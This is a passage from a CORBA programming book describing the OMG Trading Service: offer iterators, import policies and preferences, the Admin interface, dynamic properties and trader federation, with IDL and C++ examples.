    unsigned long max_left() raises(UnknownMaxLeft); 
    void destroy(); 
}; 
 
      
The next_n operation returns the next batch of no more than n matching offers in the 
offers parameter. As with query, fewer than n offers may be returned (but offers 
is guaranteed to always contain as least one offer). The return value is true if further 
offers are to be retrieved. A return value of false indicates that this invocation of next_n 
returned the final batch of offers; that is, the offers parameter will contain at least one 
matching offer even when the return value is false. Calling next_n after it has returned 
false has undefined behavior. 
 
The max_left operation indicates how many offers are still remaining. If that 
determination cannot be made, the operation raises the UnknownMaxLeft exception. 
(We recommend that you do not use max_left. Because of the lazy evaluation used by 
most trader implementations, it is highly likely that it will raise UnknownMaxLeft 
whenever it is called.) 
 
The destroy operation destroys the iterator. You can call destroy at any time, even 
before you have retrieved all results, but you must call destroy even if you do retrieve 
all results. If you don't call destroy, you will leave an abandoned object in the trader—
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see page 807. The trader is free to destroy stale iterators if it is about to run out of 
resources, so you must be prepared to handle OBJECT_NOT_EXIST exceptions from 
iterator operations. As with the Naming Service, you should retrieve the results promptly 
and not hold on to iterators for longer than absolutely necessary. 

Using the OfferIterator Interface with C++ 

The next_n operation returns false with the last batch of results. This means that you 
must be careful how you write the code to retrieve service offers from the iterator. The 
following does not work correctly: 
        
OfferIterator_var iter; 
 
// Get iterator from query operation... 
 
// Process remaining results. 
while (iter->next_n(50, offers)) {      // WRONG! 
    // Process offers... 
} 
 
       
This code does not work correctly because it will miss processing for the final batch of 
offers returned by next_n. 
There are two options for structuring the code so that it correctly processes all the results. 
The first option is to use a post-tested loop after processing the first batch: 
        
// Run query. 
lookup->query( 
    service_type, constraint, preferences, 
    policies, desired_props, how_many, 
    offers, iter, policies_applied 
); 
 
// Process first batch. 
for (CORBA::ULong i = 0; i < offers->length(); i++) { 
    // Process offer... 
} 
 
// Process remaining offers. 
if (!CORBA::is_nil(iter)) { 
    CORBA::Boolean more; 
    do { 
        more = iter->next_n(how_many, offers); 
        for (CORBA::ULong i = 0; i < offers->length(); i++) { 
            // Process offer... 
        } 
    } while (more); 
    iter->destroy();    // Clean up 
} 
 
       
Because the code uses a post-tested loop, the final batch of offers is processed correctly. 
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The second option is to call query with a how_many value of zero and to retrieve all 
offers via the iterator: 
        
// Run query. 
lookup->query( 
    service_type, constraint, preferences, 
    policies, desired_props, 0,             // how_many == 0 
    offers, iter, policies_applied 
); 
 
if (!CORBA::is_nil(iter)) { 
    CORBA::Boolean more; 
    do { 
        // Get next batch of offers. 
        more = iter->next_n(how_many, offers); 
        for (CORBA::ULong i = 0; i < offers->length(); i++) 
            // Process offer... 
    } while (more); 
    iter->destroy();    // Clean up 
} 
 
       
This version is simpler than the other one but requires the less than obvious call to 
query with a zero value for how_many. 

A Few Words about Iterator Design 

Let us step back and examine this iterator design for a moment. Instead of returning false 
after the last batch of offers is returned, next_n returns false with the last batch. The 
motivation for this design is to save a remote call. Because next_n returns false with 
the last batch, the client need not make an additional call that returns no offers just to get 
the end-of-offers indication. 
 
What are the consequences of this design? For one thing, these iterator semantics force 
the trader to read ahead by at least one service offer during calls to next_n (otherwise, 
the operation cannot return the correct value). This in itself can be a problem, in 
particular if a trader is a front end to a legacy system that offers only a simple streaming 
interface. If that streaming interface can deliver offers only in batches and does not 
provide a seek facility, the iterator must buffer the undelivered service offers between 
calls to next_n. 
 
Second, the iterator interface is substantially more complex and is harder for a client 
programmer to interact with correctly. The design leads to an interface in which the most 
obvious approach of using a while loop (as shown on page 880) does precisely the wrong 
thing. 
 
The iterator design accepts additional complexity to save one remote call per query. Are 
the gains worth the pain? Almost certainly not. Consider this: if a client submits a query 
that delivers a large number of results and must use an iterator, there are two possible 
styles of interaction with the iterator. 
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The client can use a very small value for how_many, in which case the client will make 
many calls to next_n to retrieve the complete set of results. The main cost of iteration is 
incurred by the call dispatch overhead for each individual call. 
 
The client can use a large value for how_many, in which case the client will make few 
calls to next_n to retrieve the complete set of results. The main cost of iteration is 
incurred by the amount of bandwidth required to marshal the large result batches to the 
client. 
 
In either case, the savings of this iterator design (a single remote call) become 
vanishingly small if more than a dozen or so service offers are returned. 
 
The moral is that you must be careful about whether you allow efficiency considerations 
to impinge on IDL interfaces. The design of the offer iterator in the trader is a classic case 
in which a wrong decision was made. The very small gain in efficiency does not justify 
the additional complexity of the interface. In general, we recommend that you create 
iterators that are more along the lines of the Naming Service because of the simplicity of 
that design. 

19.11.4 Controlling Query Result Details 

Here again is the IDL for the returned service offers: 
       
// ... 
 
typedef Istring PropertyName; 
typedef any     PropertyValue; 
 
struct Property { 
    PropertyName    name; 
    PropertyValue   value; 
}; 
 
typedef sequence<Property> PropertySeq; 
 
struct Offer { 
    Object      reference; 
    PropertySeq properties; 
}; 
typedef sequence<Offer> OfferSeq; 
 
      

The query in Section 19.11.2 uses a discriminator value of none for the 
desired_props parameter. With that value, each returned offer contains the object 
reference of the service provider and an empty properties sequence. We can use the 
desired_props parameter to control which property values are returned for each 
service offer. Here again is the IDL for the corresponding union: 
       
interface Lookup : 
        TraderComponents, SupportAttributes, ImportAttributes { 
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   enum HowManyProps { none, some, all }; 
    
   union SpecifiedProps switch (HowManyProps) { 
    case some: 
        PropertyNameSeq prop_names; 
    }; 
    // ... 
}; 
 
      
If we set the discriminator value of this union to all, then for each returned service offer, 
the properties member contains all the properties for the offer. In addition, with a 
discriminator value of some, we can specify exactly which property values are to be 
returned. Here is a code fragment that imports controller offers and explicitly requires 
that the Model and Manufacturer properties are to be returned: 
       
// ... 
 
PropertyNameSeq pnames; 
pnames.length(2); 
pnames[0] = CORBA::string_dup("Model"); 
pnames[1] = CORBA::string_dup("Manufacturer"); 
 
Lookup::SpecifiedProps desired_props; 
desired_props.prop_names(pnames); 
 
// Run query... 
 
      
Passing this union to the query ensures that each returned service offer contains the 
specified properties as a name-value pair of type Property. If a property is optional 
and a matching service offer does not contain that property, the property value will be 
missing from the returned properties sequence member for that offer. 
 
Why would you bother retrieving property values in addition to the IOR of the service 
provider? Here are some reasons. 
 
You may want to select offers based on properties of user-defined type, but the constraint 
language does not permit you to use user-defined types in expressions. By asking for the 
property values, you can post-filter the results from a query based on the contents of user-
defined types. 
 
You may want to apply an operator that is not directly supported by the query language, 
such as taking the square root of a property value. Retrieving property values allows you 
to post-filter results with operators that are not directly supported. 
 
You may want to select a number of service offers based on a constraint and then present 
the matching service offers and their property values to a user for final selection. 
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19.11.5 Using Preferences 

The pref parameter passed to the query operation allows you to control the order in 
which results are returned to you. You can pass an empty string as the pref parameter. 
Otherwise, the pref parameter is a string with exactly one of the following values. 
 
first 
A preference value of first indicates that the trader should return offers in whatever 
order is most convenient (typically, the order in which they are discovered). This is the 
default if an empty string is passed. 
 
random 
Service offers are randomized. The trader first retrieves all matching service offers and 
then "shuffles" the offer sequence before returning it. This preference is useful if clients 
have a number of equivalent services to choose from. Randomizing implements a simple 
form of load balancing across these services. 
 
min expr 
The service offers are returned in increasing order of expr. For example, a preference 
string of "min Price" returns service offers with the lowest price first. 
 
max expr 
The service offers are returned in decreasing order of expr. For example, a preference 
string of "max MaxDevices" returns service offers with the largest value for the 
MaxDevices property first. 
 
with expr 
The expression for the with preference must be a valid constraint expression. Service 
offers that match the constraint expression are returned before service offers that do not 
match it. For example, the preference string "with '90' ~ Model" returns all 
controllers that have the string "90" as part of the model description before returning 
other matching controllers. 
 
Instead of using a simple property name, you can use more complex expressions for the 
min, max, and with preferences. For example, the preference 
       
min (12.3 mem_size + 4.6 * file_size) 
 
      
selects service offers based on the optimization of a weighted function over property 
values that determine memory and disk requirements. 

19.11.6 Import Policies 

Import policies allow control over a few non-functional aspects of queries. Here are the 
semantics of the import policies. 
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search_card 
This policy determines the maximum number of offers to be searched. 
match_card 
This policy determines the maximum number of offers to be ordered or randomized and 
affects the amount of buffer space required during query evaluation. 
return_card 
This policy determines the maximum number of offers to be returned from a query. 
max_list 
This policy determines the maximum number of offers to be returned by a single call to 
query or next_n. 
exact_type_match 
This Boolean policy determines whether the trader will consider offers of a derived 
service type eligible for matching. If you set this policy to true, the matching of derived 
service offers is disabled. 
use_modifiable_properties 
If this Boolean policy is false, the trader will ignore all offers that contain modifiable 
properties even if they would otherwise match the constraint. 
use_dynamic_properties 
If this Boolean policy is false, the trader will ignore all offers that contain dynamic 
properties even if they would otherwise match the constraint. 
use_proxy_offers 
If this Boolean policy is false, the trader will ignore all proxy offers even if they would 
otherwise match the constraint. 
follow_policy 
This policy controls whether the query will be passed to federated traders. The policy 
value is of enumerated type with the following values. 
local_only 
The trader will not pass the query to federated traders for evaluation. 
if_no_local 
The trader first searches its own offer space. If the search locates one or more matching 
offers, the query returns those offers. If the search does not locate matching offers locally, 
the query is passed to federated traders for evaluation and returns whatever matching 
offers are found in the federated traders. 
always 
If the trader is federated, it will pass the query to the federated traders as well as search 
its own offer space. 
You can set each import policy value in the policies parameter of a query operation. 
For the search_card, match_card, return_card, and follow_policy 
policies, each trader defines a traderwide limiting value as well as a default value that 
applies if the policy is not explicitly specified for a query. If you set a policy value that is 
more permissive or larger than the trader's limit, the limit is silently applied to the query. 
You can read the limiting and default values from attributes in the 
ImportAttributes interface (see page 858). 
The max_list policy does not have a default value; it has only a limiting value, which 
is also available on the ImportAttributes interface. A call to query or next_n 
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never returns more than max_list service offers regardless of the value of the 
how_many parameter. 
We recommend that you do not set exact_type_match to true unless you are 
maintaining a trader's offer space. Setting this policy to true disables polymorphism and 
defeats the object-oriented nature of CORBA. 

Using Policies with C++ 

Here is a code example that initializes a policy sequence to pass to the query operation: 
        
using namespace CosTrading; 
 
// ... 
 
PolicySeq policies; 
policies.length(3); 
policies[0].name = CORBA::string_dup("search_card"); 
policies[0].value <= lookup->max_search_card(); 
policies[1].name = CORBA::string_dup("match_card"); 
policies[1].value <= lookup->max_match_card(); 
policies[2].name = CORBA::string_dup("return_card"); 
policies[2].value <= lookup->max_return_card(); 
 
Lookup::SpecifiedProps desired_props;   // Don't return properties 
desired_props._default(); 
desired_props._d(Lookup::none); 
 
PolicyNameSeq_var   policies_applied;   // out param 
OfferSeq_var        offers;             // out param 
OfferIterator_var   iterator;           // out param 
 
// Run query without using specified policies. 
lookup->query( 
    "CCS::Controllers", "TRUE", "min Price", policies, 
    desired_props, how_many, offers, iterator, policies_applied 
); 
 
// Process results... 
 
       
This code sets the search_card, match_card, and return_card policies to their 
maximum permissible values by reading these values from the ImportAttributes 
interface (which is a base interface of Lookup). The policy sequence is a list of name-
value pairs to which the code assigns the policy name and its value. 

Policy Limits 

During the evaluation of a query, a trader can apply limits. For example, the query can 
stop searching for matching service offers when it reaches the configured or explicitly 
specified limit of the search_card policy. If a trader applies limits to a query, the 
limits_applied out parameter returned by the query contains the names of the 
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policies that limit query evaluation. For example, the preceding query might return the 
following values in the limits_applied parameter: 
        
search_card 
match_card 
return_card 
 
       
Unfortunately, the limits_applied parameter is not very useful because it contains 
only a list of policy names. Therefore, by looking at this parameter, you can learn only 
that a trader applied a limit and cannot learn what the value of the limit was or which 
trader applied it. 

Choosing Policies and Preferences 

Policy values have performance implications. Traders are typically tuned to perform best 
if no overriding policy values are supplied by the importer, so you should not change the 
default policies (except for return_card) unless you have a good reason. Also, policy 
values are advisory only. A trader is free to ignore one or more policy values—for 
example, because database limits prevent the policy value from being used as specified. 
Preferences can also lower performance. For example, if you submit a query that returns 
a large number of offers and also requires ordering or randomizing of the results, the 
trader is forced to allocate sufficient buffer space to hold the complete query result, and 
that has implications for performance and memory consumption. 
 
It is possible to specify combinations of policy values that make little sense, such as 
match_card > search_card and return_card > match_card. The 
specification does not define how a trader should deal with such policy combinations: a 
trader may ignore a meaningless combination, may apply the most restrictive policy, or 
may follow the policies blindly (something that will likely reduce performance). 
 
Even with sensible policy values, a particular query result may cause problems. For 
example, for sorting of offers, the match_card policy limits the number of service 
offers that will be sorted. However, because service offers can vary in size, the amount of 
buffer space required for sorting may be too large for a particular result set. In this case, 
the trader returns however many service offers it can fit into memory in sorted order and 
returns the remaining offers in unsorted order. 
 
Here are a few policy combinations that are commonly used. 
 
The most common use of a trader is for a simple import, in which the importer is 
interested only in a single matching service offer and does not have a notion of "best" or 
"cheapest." In this case, set return_card and match_card to 1 and use the default 
preference of first (an empty preference string is the same as specifying first 
explicitly). These settings permit the trader to do the minimum amount of work to 
retrieve a matching service offer. In addition, most traders are optimized for this case. 
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If you know that a query is likely to return a large result and you require sorting, set 
match_card to the same value as search_card. These settings ensure that you will 
get the best possible sort for the offers that match. 
 
If you limit search_card, you reduce the amount of data the trader must search, 
thereby improving performance. However, be aware that this practice may lead to 
incomplete answers. In the worst case, you will get no matching offers from the trader 
even though there are matching offers. This happens if no match is found with the first 
search_card offers examined by the trader. 
 
If you use randomization and require only a single offer, set return_card to 1 and set 
both search_card and match_card to the largest permissible values. These settings 
give the best possible randomization. On the other hand, setting match_card < 
search_card results in better performance but in poorer randomization. 
Ensure that the following relation holds for all queries: 

•           
• return_card <= match_card <= search_card 
•  

         
This is simply common sense. There is no point in asking for more offers to be returned 
or sorted than the number of offers searched. 
Unfortunately, the specification is silent about how cardinality limits should be treated 
for federated traders (see Section 19.16.6). To learn about the behavior of your 
implementation, you must ask your trader vendor. 

19.12 Bulk Withdrawal 

The Register interface contains an operation to withdraw service offers in bulk: 
      
interface Register : TraderComponents, SupportAttributes { 
    // ... 
    void    withdraw_using_constraint( 
                in ServiceTypeName  type, 
                in Constraint       constr 
            ) raises( 
                IllegalServiceType, UnknownServiceType, 
                IllegalConstraint, NoMatchingOffers 
            ); 
    // ... 
}; 
 
     
The withdraw_using_constraint operation removes all service offers that match 
the constraint supplied in the constr parameter. The operation removes matching 
service offers of the type specified in the type parameter as well as those that are 
derived from the specified type (that is, the operation is polymorphic). You cannot 
suppress this polymorphic behavior because the operation does not have a policy 
parameter. 
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You should exercise caution when using withdraw_using_constraint. It is easy 
to specify a constraint that is too loose and ends up removing more service offers than 
intended. However, it is one way to delete a service offer if you have lost the offer's ID. 
Recall from Section 19.8 that to withdraw a service offer, you need its offer ID. If you 
have lost the offer ID, withdraw_using_constraint can help provided that you 
can specify a constraint that is precise enough to match only the offer you want to delete. 
 
Some traders mitigate the problem of lost offer IDs by adding an artificial property to 
each service offer that contains the offer's ID. The property can have an otherwise illegal 
name, such as _offer_id. (This is not a legal property name because it starts with an 
underscore.) The _offer_id property is normally invisible to clients and is not 
returned if a client imports service offers with the desired_props parameter set to 
all. However, if a client explicitly specifies the _offer_id property by providing its 
name in the desired_props parameter, the trader returns the property. 
 
This extension allows you to recover the offer ID for existing service offers, but not all 
traders provide such a facility. Other traders offer administrative tools that allow you to 
examine the underlying database of the trader directly and recover a lost offer ID. 
Consult your vendor's documentation to see what facilities are provided. 

19.13 The Admin Interface 

The Admin interface contains operations to allow an administrator to configure policy 
values and to access the offer space directly. 

19.13.1 Setting Configuration Values 

The Admin interface contains operations to control configuration values: 
       
interface Admin : 
        TraderComponents, SupportAttributes, 
        ImportAttributes, LinkAttributes { 
 
    typedef sequence<octet> OctetSeq; 
 
    readonly attribute OctetSeq request_id_stem; 
 
    unsigned long set_def_search_card(in unsigned long value); 
    unsigned long set_max_search_card(in unsigned long value); 
 
    unsigned long set_def_match_card(in unsigned long value); 
    unsigned long set_max_match_card(in unsigned long value); 
 
    unsigned long set_def_return_card(in unsigned long value); 
    unsigned long set_max_return_card(in unsigned long value); 
 
    unsigned long set_max_list(in unsigned long value); 
 
    boolean set_supports_modifiable_properties(in boolean value); 
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    boolean set_supports_dynamic_properties(in boolean value); 
 
    boolean set_supports_proxy_offers(in boolean value); 
 
    unsigned long set_def_hop_count(in unsigned long value); 
    unsigned long set_max_hop_count(in unsigned long value); 
    
    FollowOption set_def_follow_policy(in FollowOption policy); 
    FollowOption set_max_follow_policy(in FollowOption policy); 
    
    FollowOption set_max_link_follow_policy( 
                    in FollowOption policy 
                 ); 
    
   TypeRepository set_type_repos(in TypeRepository repository); 
    
   OctetSeq set_request_id_stem(in OctetSeq stem); 
    // ... 
}; 
 
      
The set operations allow you to control values such as the maximum and default for the 
search_card, match_card, and return_card policies and the value of the 
max_list policy. 
 
There are also operations to control the support level of a trader. The 
set_supports_modifiable_properties,set_supports_dynamic_pro
perties, and set_supports_proxy_offers operations allow you to selectively 
enable or disable the corresponding feature. For example, you may want to disable 
support for dynamic properties because of reliability and performance considerations. 
Dynamic properties are necessarily less reliable because the trader depends on the correct 
working of objects not under its control for the evaluation of dynamic properties. 
Evaluation also requires remote calls from the trader to the objects supplying the property 
values, and this means that performance is not as good as with static properties. 
 
The hop_count and follow_policy values relate to federation; we cover them in 
Section 16.16.1. 
 
The set_type_repos operation allows you to set the object reference to the type 
repository returned by the type_repos attribute in the Lookup interface. 
 
The set_request_id_stem operation controls an identifier that is used by the trader 
as a prefix for the ID of a federated query. This value must be unique for each trader in a 
federation and is used to prevent import loops (see Section 19.16.2). Typically, 
traders set this value only once—during installation—and never change it thereafter. 

19.13.2 Retrieving Service Offer IDs 

The Admin interface contains two additional operations to permit access to the complete 
offer space regardless of the type of service offers: 
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typedef string                  OfferId; 
typedef sequence<OfferId>    OfferIdSeq; 
 
interface Admin : 
        TraderComponents, SupportAttributes, 
        ImportAttributes, LinkAttributes { 
 
    // ... 
 
    void list_offers( 
        in unsigned long    how_many, 
        out OfferIdSeq      ids, 
        out OfferIdIterator id_itr 
    ) raises(NotImplemented); 
     
    void list_proxies( 
        in unsigned long    how_many, 
        out OfferIdSeq      ids, 
        out OfferIdIterator id_itr 
    ) raises(NotImplemented); 
}; 
 
      
The list_offers operation returns all offer IDs in the trader database but omits proxy 
offers. The list_proxies operation, on the other hand, returns only the offer IDs for 
proxy offers and omits normal service offers. Both operations create an iterator object for 
large result sets: 
       
interface OfferIdIterator { 
    boolean       next_n(in unsigned long n, out OfferIdSeq ids); 
    unsigned long max_left() raises(UnknownMaxLeft); 
    void          destroy(); 
}; 
 
      
The semantics of the iterator operations are the same as for a normal offer iterator (see 
Section 19.11.3) except that the returned sequences contain offer IDs instead of 
service offers. 

19.14 Inspecting Service Offers 

Given an offer ID, you can retrieve the details of the corresponding service offer: 
      
interface Register : TraderComponents, SupportAttributes { 
    // ... 
    struct OfferInfo { 
        Object          reference; 
        ServiceTypeName type; 
        PropertySeq     properties; 
    }; 
 
    OfferInfo   describe(in OfferId id) raises( 
                    IllegalOfferId, 
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                    UnknownOfferId, 
                    ProxyOfferId 
                ); 
    // ... 
}; 
 
     
The describe operation returns the complete details for the service offer specified by 
the id parameter. The operation is useful for dumping the complete contents of a trader. 
Because not all service types may have a common root base type, you cannot use the 
query operation to get the complete set of service offers. (The query operation can 
return only service offers of a particular type and its derived types.) 
 
Another use for describe is to locate the offer ID of a lost service offer. You can use 
list_offers to iterate over the complete set of offer IDs and invoke describe on 
each returned offer ID to match the service offer details against the lost service offer. 
Clearly, this technique is cumbersome and inefficient because potentially you must 
examine all service offers in a trader to recover the lost one. Unfortunately, apart from 
withdraw_using_constraint and this technique, there is no standard way to 
recover lost offers (but your vendor may offer proprietary tools this purpose). 

19.15 Exporting Dynamic Properties 

Support for dynamic properties is provided in a separate module called 
CosTradingDynamic: 
      
//File:CosTradingDynamic.idl 
#include <CosTrading.idl> 
#include <orb.idl> 
#pragma prefix "omg.org" 
 
module CosTradingDynamic { 
    exception DPEvalFailure { 
        CosTrading::PropertyName    name; 
        CORBA::TypeCode             returned_type; 
        any                         extra_info; 
    }; 
 
    interface DynamicPropEval { 
        any evalDP( 
                in CosTrading::PropertyName name, 
                in CORBA::TypeCode          returned_type, 
                in any                      extra_info 
            ) raises(DPEvalFailure); 
    }; 
 
    struct DynamicProp { 
        DynamicPropEval eval_if; 
        CORBA::TypeCode returned_type; 
        any             extra_info; 
    }; 
}; 
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Dynamic property evaluation uses the callback pattern. To export a service offer 
containing a dynamic property, you specify the service offer type as you would for any 
other service offer. For example, the service type for controllers we established earlier 
does not need to change at all in order for property values to be dynamic. However, at 
export time, the exporter does not supply a value of the offer; instead, the exporter sets 
the any value for the dynamic property to contain a structure of type DynamicProp. 
 
The DynamicProp structure must contain an object reference to an object supporting 
the DynamicPropEval interface in the eval_if member. The trader invokes the 
evalDP operation on that object when it requires the value of the dynamic property. 
You must set the returned_type member to indicate the type of value that evalDP 
must return when it is called. The extra_info member is an any value that you can 
use to pass additional information to evalDP. The trader does not interpret this member 
in any way but simply passes it to evalDP when it evaluates the dynamic property. 
 

Table 19.4. Property definitions for a share service type. 
Property Name Property Type Property Mode 

Name CORBA::_tc_string Mandatory, read-only 
Price CORBA::_tc_ulong Mandatory 
 
After you have exported a dynamic property, the trader invokes the evalDP operation 
on the reference for the dynamic property whenever it needs to evaluate that property. 
The trader passes the name of the property, the expected type of the value evalDP 
should return, and the extra_info member that was stored at export time to the 
operation. The return value from evalDP is an any that delivers the property value back 
to the trader. The value returned must match the expected return type indicated by the 
returned_type parameter. 
 
If for some reason evalDP cannot evaluate the property, it raises the DPEvalFailure 
exception. (You can fill the exception data members with the values indicated in the IDL. 
However, there is little point, because that exception is never propagated back to the 
importer. This means that you might as well leave the exception members in the default-
constructed state.) 
 
The following code fragment illustrates export of a Price property as a dynamic 
property. We assume that a service type StockMarket::Shares already exists and 
that it has the property definitions shown in Table 19.4. 
      
using namespace CosTrading; 
using namespace CosTradingDynamic; 
 
// Get reference to Register interface... 
Register_var regis = ...; 
 
// Assume we have a reference to a DynamicPropEval interface... 
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DynamicPropEval_var dpe = ...; 
 
// Create dynamic property structure for Price property. 
DynamicProp dp; 
dp.eval_if = dpe; 
dp.returned_type = CORBA::TypeCode::_duplicate(CORBA::_tc_ulong); 
dp.extra_info <= "234.234.234.234:5678"; 
 
// Fill in property definition for the share offer. 
PropertySeq props; 
props.length(2); 
props[0].name = CORBA::string_dup("Name"); 
props[0].value <= "Acme Corporation"; 
 
props[1].name = CORBA::string_dup("Price"); 
props[1].value <= dp;                      // Dynamic property 
 
// Get reference to the share interface we want to advertise... 
StockMarket::Shares_var shares = ...; 
 
// Export the offer. 
OfferId_var offer_id = regis->_cxx_export( 
                            shares, "StockMarket::Shares", props 
                       ); 
cout < "Created new offer with id " < offer_id < endl; 
 
     
The only difference between this code and an ordinary export operation is that the any 
value for the price property contains a DynamicProp structure. In this example, we use 
the extra_info member of the structure to contain an IP address and port number. 
The assumption is that the implementation of evalDP will use that addressing 
information to retrieve the current stock price, for example, from a commercial stock 
ticker. This is only one of many options. Because the extra_info member is of type 
any, you can use it to pass arbitrarily complex information to the evalDP operation. 
 
The implementation of evalDP is responsible for delivering the current property value 
to the trader. Here is an outline of one possible implementation: 
      
CORBA::Any * 
DynamicPropEval_impl:: 
evalDP( 
    const char *        name, 
    CORBA::TypeCode_ptr returned_type, 
    const CORBA::Any &  extra_info 
) throw(CORBA::SystemException, CosTradingDynamic::DP EvalFailure) 
{ 
    // Get the address details for the ticker from the extra 
    // info parameter and read current price from ticker. 
    const char * addr; 
    extra_info >>= addr; 
    CORBA::ULong price = read_price(addr, name); 
    if (price == 0)                                 // Error 
        throw CosTradingDynamic::DPEvalFailure(); 
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    // Return the current price. 
     
    CORBA::Any *ap = new CORBA::Any; 
    (*ap) <= price; 
    return ap; 
} 
 
     
In this example, the evalDP operation uses the address details passed in the 
extra_info parameter and the name of the property to access a remote service that 
delivers the current price for the stock. If the attempt to read the price fails, the code 
throws a DPEvalFailure exception to indicate to the trader that the property value is 
not available. Otherwise, the code returns the current price in the any returned from the 
operation. 

19.16 Trader Federation 

Traders can be linked into a federation graph, which can have any structure (even loops 
are permitted). If trader A is federated with trader B, trader A has a link to trader B, and 
import operations on trader A return service offers found in both A and B. Links are 
unidirectional, so if A is linked to B, imports on trader B return only service offers found 
in trader B. 
 
All traders in a federation typically are configured to use the same type repository. If 
several type repositories are used in a federation, they must all agree on at least those 
service types that are used by service offers in more than one trader. 
 
Federation applies only to imports and not to exports. If an importer runs a query on a 
federated trader, the returned service offers may have come from any trader in the 
federation. However, exporters must choose a particular trader to which to export a 
service offer; that is, an export operation always stores the service offer in the trader on 
which the operation was invoked, regardless of federation. 
 
The links in a federation have names; this is similar to the way bindings in a Naming 
Service are labeled with names. Figure 19.6 shows a possible federation graph. The 
link names effectively assign names to each linked trader. For example, from trader A's 
perspective, trader B is known by the name sub. Because a trader can be pointed to by 
more than one link, the name of a trader can vary depending on the sequence of links via 
which it is accessed. For example, from trader A's perspective, trader D is known by the 
names sub/shares and acme/CC. (Trader names are sequences of strings, so the 
slashes in the names act as separators and are not part of the names themselves.) 

Figure 19.6 Four traders in a federation. 
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19.16.1 Link and Federation Policies 

Each link in a federation has a default link policy and a limiting link policy. The link 
policies determine under what circumstances a query will be passed to a federated trader 
via its link. The default link policy applies if an importer does not explicitly specify a link 
policy, and the limiting link policy provides an upper "hard" limit as to how permissive 
that link can be. Link policies have one of the three values shown on page 886. 
 
The local_only policy value means that queries will not be passed via that link. 
 
The if_no_local policy value means that a query will be passed via that link only if 
no matching offers can be found locally. 
 
The always policy value means that queries will always be passed via that link. 
 
In addition to link policies, there are federation policies. These policies exist both as 
trader policies and as import policies. 
 
Hop count 
The hop count determines how many times a query will be forwarded. Each query has an 
initial hop count. Before forwarding a query to a linked trader, the forwarding trader 
decrements the hop count. Queries are forwarded only while the hop count is non-zero. 
For example, for the federation graph on page 1, a query submitted to trader A will reach 
traders B and C only if the hop count is 1. With a hop count greater than 1, the same 
query will also reach trader D. 
 
Follow behavior 
The follow behavior has the value local_only, if_no_local, or always. 
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Link policies override import policies, and trader policies override link policies. The most 
restrictive set of policies arrived at after evaluation of this policy hierarchy applies to 
each import operation. 

Hop Counts 

The hop count mechanism gives an importer some degree of control over how widely a 
query will propagate throughout a federation. This control can be important in 
commercial trading, where each query incurs a charge. By limiting the extent of query 
propagation, the importer gets some control over the cost. Keep in mind, though, that this 
mechanism is crude and does not limit the absolute number of traders that can be 
searched, because the absolute number depends on the fan-out of the federation graph. 
 
Three policies determine the initial hop count for an import. 
def_hop_count (trader policy) 
 
This is the default hop count that applies if an importer does not use the hop_count 
policy. You can control the default value via the Admin interface. 
max_hop_count (trader policy) 
This is the maximum hop count permitted by the trader. If an importer specifies a 
hop_count policy with a value greater than max_hop_count, the hop count for the 
query is silently adjusted to max_hop_count. You can control the max_hop_count 
value for the trader via the Admin interface. 
hop_count (import policy) 
You can set this policy as part of the policies parameter for an import operation. The 
trader uses the specified value for the import provided that it does not exceed 
max_hop_count, in which case max_hop_count applies. 

Follow Behavior 

Follow behavior applies to links. A query is passed via a particular link only if the follow 
behavior permits it. Both follow behavior and hop count determine whether a link is 
followed. If the follow behavior disallows traversal of a particular link, the link is not 
followed even if the hop count would permit it; if the follow behavior permits traversal of 
a link, the link is followed only if the hop count is still non-zero. 
 
The follow behavior for a particular link is affected by the following policies. 
 
def_follow_policy (trader policy) 
This policy determines the default follow behavior for a trader and applies if the importer 
does not specify a value for the link_follow_rule policy. Most traders set this 
policy to if_no_local to avoid the cost of federating a query if matching offers can 
be found locally. 
 
max_follow_policy (trader policy) 
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This policy sets the limit for the trader and overrides any more permissive values 
specified by an importer or a link. 
max_link_follow_policy (trader policy) 
This value limits the most permissive behavior for a link's 
limiting_follow_policy at the time of the link's creation or modification. Links 
cannot be created or modified to have a more permissive behavior than this value. 
def_pass_on_follow_rule (link policy) 
This policy applies if an importer does not request a specific behavior by setting the 
link_follow_rule policy. The def_pass_on_follow_rule policy is modified 
by the trader's max_follow_policy. 
limiting_follow_rule (link policy) 
This is the most permissive behavior that a particular link will tolerate. The value is 
further limited by the trader's max_follow_policy. 
link_follow_rule (import policy) 
The importer can specify the desired follow behavior for a particular query by setting this 
policy in the policies parameter of the query. The value is limited by the 
max_follow_policy of the trader as well as the limiting_follow_policy of 
each link. 
You can control the values of def_follow_policy, max_follow_policy, and 
max_link_follow_policy via operations on the Admin interface. 

19.16.2 Request Identifiers 

A trader federation graph permits a trader to be reached via multiple paths. (The graph 
even permits loops.) This arrangement introduces a problem: multiple copies of a query 
can end up being forwarded to a given trader via multiple paths. Unless traders 
specifically deal with this problem, a single query could end up searching the offer space 
of a trader multiple times (something that is wasteful), or worse, a query could end up 
being indefinitely forwarded from trader to trader in a loop so that the query would never 
terminate. 
 
To prevent redundant searches and infinite loops, the first trader that accepts a query 
from an importer generates a unique ID value and prepends that trader's request ID stem 
(see Section 19.13.1) to that unique ID. The resulting value is passed in the 
request_id policy whenever a query is forwarded to a federated trader. The net effect 
is that every query carries a unique ID value that is generated by the trader that accepts 
the initial import; thereafter, the ID never changes and is simply passed from trader to 
trader as the query propagates through a federation. 
 
Each trader maintains a cache of recently processed request IDs. If a query arrives at a 
trader and the request ID for the query is not in the cache, the trader adds the request ID 
to the cache and evaluates the query. Otherwise, if the request ID for a query is already in 
the cache, the trader recognizes that it has processed the same query earlier and returns an 
empty result set. 
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This caching mechanism is very effective. It reliably prevents multiple redundant 
searches of the same trader even if the cache is small and contains only a few dozen 
entries. The cache is maintained in least-recently-used order. In the rare case when a 
request ID is dropped from the cache while a query is still propagating, the worst 
outcome is that the trader will process the same query a second time. This has no harmful 
effects on the results returned to the importer (unless a search cardinality limits further 
query propagation and causes offers to be missed elsewhere, and that is unlikely). 
 
As an importer, you should never set the request_id policy. Its value is generated 
automatically if a trader receives a query without a value for this policy. 

19.16.3 Nominating a Starting Trader 

You can direct a query to begin execution in a specific starting trader by setting the 
starting_trader policy. Note that this policy was added to the specification mainly 
to permit migration from earlier (non-OMG-compliant) traders that used different 
concepts for federation. You should not have a reason to set this policy value, so the 
discussion here is included mainly for completeness. You can get equivalent functionality 
by using the Register::resolve operation (see Section 19.16.5). 
The starting_trader policy is an import policy. Its value must be of type 
TraderName: 
       
typedef Istring             LinkName; 
typedef sequence<LinkName>  LinkNameSeq; 
typedef LinkNameSeq         TraderName; 
 
      
By setting this policy to the sequence of link names that lead to a starting trader, you can 
